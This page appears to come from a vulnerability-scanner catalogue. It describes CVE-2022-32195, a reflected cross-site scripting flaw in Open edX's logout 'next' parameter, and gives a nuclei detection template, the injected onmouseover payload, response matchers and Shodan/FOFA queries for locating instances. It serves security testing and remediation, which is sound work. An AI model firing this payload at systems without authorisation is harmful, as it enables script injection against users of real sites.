Open edX <2022-06-06 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.3%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

Open edX before 2022-06-06 contains a reflected cross-site scripting vulnerability via the 'next' parameter in the logout URL.

Impact

Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Apply the latest security patches or updates provided by Open edX to fix the Cross-Site Scripting vulnerability.

How to confirm it

Send: GET {{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)
Positive when: contains "<a href=\"+8\"onmouseover=\"alert(document.domain)\">click here…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-32195 -u <target>

The full check

id: CVE-2022-32195

info:
  name: Open edX <2022-06-06 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Open edX before 2022-06-06 contains a reflected cross-site scripting vulnerability via the 'next' parameter in the logout URL.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Apply the latest security patches or updates provided by Open edX to fix the Cross-Site Scripting vulnerability.
  reference:
    - https://discuss.openedx.org/t/security-patch-for-logout-page-xss-vulnerability/7408
    - https://github.com/edx
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32195
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-32195
    cwe-id: CWE-79
    epss-score: 0.02345
    epss-percentile: 0.83788
    cpe: cpe:2.3:a:edx:open_edx:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: edx
    product: open_edx
    shodan-query:
      - http.html:"Open edX"
      - http.html:"open edx"
    fofa-query: body="open edx"
    comment: Hover the cursor on the redirect link
  tags: cve,cve2022,openedx,xss,edx,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a href="+8"onmouseover="alert(document.domain)">click here to go to'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from